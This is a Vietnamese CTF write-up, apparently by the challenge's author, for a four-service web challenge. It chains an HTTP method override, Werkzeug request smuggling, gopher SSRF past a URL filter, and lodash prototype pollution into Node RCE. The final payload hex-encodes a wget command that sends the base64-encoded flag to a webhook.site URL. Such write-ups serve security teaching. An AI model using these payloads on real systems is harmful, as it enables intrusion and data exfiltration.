# No Interface
## Đôi lời tâm sự
Cũng khá là lâu rồi mình mới quay lại CTF, đợt wannagame lần này chắc là lần cuối mình ra đề ở UIT. Bài này mình release vào lúc 10h sáng, lúc đó xem qua scoreboard thì chưa có ai giải 2 bài web đầu, giải chỉ còn 6 tiếng nên mình realease luôn. Hy vọng có 1 vài solution hay, tiếc là không ai giải bài mình xD :))
## Start
Nhìn qua file docker-compose, challenge bao gồm 4 service (proxy, golang, python, nodejs). Flag được đặt trong container của service nodejs. Vậy mục tiêu của chúng ta cần đạt được là chain từ service abcxyz chạm đến service nodejs này.
Chỉ có service proxy là expose port to host do đó ta sẽ tập trung phân tích file config của proxy này trước.

Proxy này chỉ chấp nhận method GET, POST từ gói tin request và chuyển tiếp nó qua service golang.

Tiếp tục xem source của service golang.

Service golang sử dụng [Beego web framework](https://github.com/beego/beego), nhìn chung khá giống với Django của python.
Mình sẽ phân tích luồng hoạt động của code như sau:
Với method `GET` đến từ request sẽ trả về response là "OK"
Với method `POST` đến từ request sẽ trả về response là "OK also"
Với method `DELETE` đến từ request sẽ đóng vai trò là 1 reverse proxy gọi đến service python.
**Đợi đã, request đến từ service proxy (traefik) chỉ chấp nhận method (GET và POST), right?**

## Mổ xẻ bigo, à nhầm beego :))
Từ hàm main của source, ta thấy lib sử dụng Router để handle endpoint /
```
bee.Router("/", &MainController{})
```
Tìm các file liên quan đến route, ta sẽ thấy 1 điều thú vị sau:
https://github.com/beego/beego/blob/v2.0.6/server/web/router.go#L1158-L1173

Why don't you use `DELETE` method normally? I don't like :))
Mình cũng không hiểu cách thiết kế này lắm :satisfied:
Túm cái váy lại, để send được method `DELETE` bypass proxy traefik, ta sử dụng
```
POST /?_method=DELETE HTTP/1.1
```
## REQUEST SMUGGLING
Xem qua các CVE 2022, từ bản Werkzeug v2.1.0 trở về trước có tồn tại lỗi request smuggling nhưng không ghi rõ ngữ cảnh cụ thể như thế nào.
Đọc changelog của bản v2.1.0 https://werkzeug.palletsprojects.com/en/2.1.x/changes/#version-2-1-0, ta thấy 1 điều như sau:

Hửm, vậy có nghĩa là từ phiên bản 2.0.0 trở về trước cho phép duplicate CONTENT_LENGTH.
Điều này dẫn đến sự khác nhau giữa upstream server và Werkzeug.
## RFC 7230
Ở chuẩn RFC 7230, trường header name cho phép tồn tại 2 kí tự là ``-`` và `_`.
Lấy ví dụ như sau:
```=
POST /?_method=DELETE HTTP/1.1
Host: localhost
Content-Length: 48
Content_Length: 0
GET /admin?access=true HTTP/1.1
Host: localhost
```
- Service golang khi gửi qua method DELETE sẽ xử lý như vai trò 1 reverse proxy gọi đến service python, sẽ lấy header Content-Length đầu tiên và xem độ dài body là 48.
- Service werkzeug sẽ lấy header content_length ở cuối cùng và lấy ra giá trị độ dài body là 0 và ver werkzeug 2.0.0 cho phép duplicate content_length nên request được xem là hợp lệ.
## SSRF
Python service sử dụng flask framework để handle routing.
Focus vào endpoint duy nhất:
```python=
@app.route('/getcontent', methods=['GET', 'POST'])
def getcontent():
if (request.method == 'POST') and ('url' in request.args) :
url = request.args['url']
url = url.lower()
if( ('http:' in url) or ('https:' in url) or ('file:' in url) ): # I don't like ssrf
url = 'http://google.com/'
else:
url = request.args['url']
result = subprocess.run(["./curl", "-m", "2", url], shell=False, stdout = subprocess.PIPE)
if result.stdout != "":
return result.stdout
else:
return "Your url is invalid"
return "/getcontent"
```
Endpoint check method gọi đến là POST và check tham số url có tồn tại trong gói tin request hay không. Sử dụng ./curl -m 2 <url> để truy vấn tới website và trả về response.
Đoạn code check `http:`, `https:`, `file:` có trong url người dùng gởi lên hay không ?
Để bypass ta sử dụng gopher protocol để gởi gói tin HTTP:
```=
GET / HTTP/1.1
Host: localhost
==> gopher://localhost/_GET+/%0a
```
Để ý dòng thứ 4, url được gán bằng request.args['url']
```=
url = request.args['url']
```
Như vậy thay vì để param url ở body ta có để ở query
```=
POST / HTTP/1.1
Host: localhost
url=blabla
```
```=
POST /?url=blabla HTTP/1.1
```
## Prototype pollution
Ở service nodejs tồn tại lỗ hổng prototype pollution ở thư viện lodash 4.17.4. Hàm merge, mergeWith, defaultsDeep, có thể bị thay đổi property của Object.prototype.
https://security.snyk.io/vuln/SNYK-JS-LODASH-73638
Nhìn qua endpoint `/hack`:
```javascript=
app.get('/hack', (req, res) => {
const out = {
IP: req.connection.remoteAddress,
time: Date.now()
};
json = JSON.parse(req.query.json)
lodash.merge(out, json);
fork("./hello.js");
res.json(out);
die();
});
```
Ta thấy function merge được sử dụng, như vậy ta có thể pollute ngay tại đây.
```
json = JSON.parse(req.query.json)
lodash.merge(out, json);
```
## prototype pollution chain to RCE
```javascript=
lodash.merge(out, json);
```
Function fork được gọi tới dưới dòng merge, trigger được RCE nếu ta thay đổi property của node_options. Để hiểu sâu hơn, chúng ta hãy xem qua hàm fork()
```javascript=
function fork(modulePath /* , args, options */) {
validateString(modulePath, 'modulePath');
// Get options and args arguments.
let execArgv;
let options = {};
let args = [];
let pos = 1;
if (pos < arguments.length && ArrayIsArray(arguments[pos])) {
args = arguments[pos++];
}
if (pos < arguments.length &&
(arguments[pos] === undefined || arguments[pos] === null)) {
pos++;
}
if (pos < arguments.length && arguments[pos] != null) {
if (typeof arguments[pos] !== 'object') {
throw new ERR_INVALID_ARG_VALUE(`arguments[${pos}]`, arguments[pos]);
}
options = { ...arguments[pos++] };
}
// Prepare arguments for fork:
execArgv = options.execArgv || process.execArgv;
if (execArgv === process.execArgv && process._eval != null) {
const index = execArgv.lastIndexOf(process._eval);
if (index > 0) {
// Remove the -e switch to avoid fork bombing ourselves.
execArgv = execArgv.slice();
execArgv.splice(index - 1, 2);
}
}
args = execArgv.concat([modulePath], args);
if (typeof options.stdio === 'string') {
options.stdio = stdioStringToArray(options.stdio, 'ipc');
} else if (!ArrayIsArray(options.stdio)) {
// Use a separate fd=3 for the IPC channel. Inherit stdin, stdout,
// and stderr from the parent if silent isn't set.
options.stdio = stdioStringToArray(
options.silent ? 'pipe' : 'inherit',
'ipc');
} else if (!options.stdio.includes('ipc')) {
throw new ERR_CHILD_PROCESS_IPC_REQUIRED('options.stdio');
}
options.execPath = options.execPath || process.execPath;
options.shell = false;
return spawn(options.execPath, args, options);
}
```
Ở dòng 52, nếu property `execPath` không tồn tại trong object options thì nó sẽ được gán là `process.execPath`.
Vì thế, nếu control được `options.env` đồng nghĩa với việc control được đoạn code trước khi fork được thực thi (dòng 55)
Ở đây có 1 vài hướng để RCE:
- Thay đổi property .env
- Thay đổi property .argv0
**Nếu ta ghi đè /proc/self/environ thì flag sẽ mất luôn (flag chứa trong enviroment), do đó mình chọn ghi đè argv0 của /proc/self/cmdline**
Manual test:
```javascript=
const { fork } = require('child_process');
object = {}
object.constructor.prototype.argv0 = "require('child_process').execSync('touch /tmp/pwn')//"
object.constructor.prototype.NODE_OPTIONS = "--require /proc/self/cmdline"
// Trigger
var proc = fork('abc'); // abc không cần thiết phải tồn tại
```
File /tmp/pwn được tạo ra, chứng tỏ payload trên hoạt động

Kết hợp với lỗi ở lib lodash, input là chuỗi json:
```javascript=
const lodash = require('lodash');
const { fork } = require('child_process');
queryfromUser = `
{
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/cmdline",
"argv0": "require('child_process').execSync('touch /tmp/pwn2')//"
}
}
}`;
json = JSON.parse(queryfromUser);
lodash.merge({}, json);
fork("./hello.js");
```
File /tmp/pwn2 được tạo ra

## 2 click to RCE
Sau khi xâu chuỗi mọi thứ lại với nhau ta có payload cuối cùng như sau:
**Convert cmd sang dạng /u00hex để tránh bị lỗi**
```python=
def conv(text): print(''.join([hex(ord(char)).replace("0x","\\u00") for char in text]))
cmd = "wget https://webhook.site/7e8673ca-aa38-48ff-81c3-d7b32a6cc85d/`echo $flag| base64`"
conv(cmd)
#\u0077\u0067\u0065\u0074\u0020\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0065\u0062\u0068\u006f\u006f\u006b\u002e\u0073\u0069\u0074\u0065\u002f\u0037\u0065\u0038\u0036\u0037\u0033\u0063\u0061\u002d\u0061\u0061\u0033\u0038\u002d\u0034\u0038\u0066\u0066\u002d\u0038\u0031\u0063\u0033\u002d\u0064\u0037\u0062\u0033\u0032\u0061\u0036\u0063\u0063\u0038\u0035\u0064\u002f\u0060\u0065\u0063\u0068\u006f\u0020\u0024\u0066\u006c\u0061\u0067\u007c\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0060
```
**Send request 2 lần**
```
POST /?_method=DELETE HTTP/1.1
Host: localhost
Content_Length: 0
Content-Length: 729
POST /getcontent?url=gopher://nodejs:8083/_GET%2520/hack?json=\{"constructor":\{"prototype":\{"NODE_OPTIONS":"--require\u0020/proc/self/cmdline","argv0":"require('child_process').execSync('\u0077\u0067\u0065\u0074\u0020\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0065\u0062\u0068\u006f\u006f\u006b\u002e\u0073\u0069\u0074\u0065\u002f\u0037\u0065\u0038\u0036\u0037\u0033\u0063\u0061\u002d\u0061\u0061\u0033\u0038\u002d\u0034\u0038\u0066\u0066\u002d\u0038\u0031\u0063\u0033\u002d\u0064\u0037\u0062\u0033\u0032\u0061\u0036\u0063\u0063\u0038\u0035\u0064\u002f\u0060\u0065\u0063\u0068\u006f\u0020\u0024\u0066\u006c\u0061\u0067\u007c\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0060')//"\}\}\}%250a HTTP/1.1
Host: localhost
```

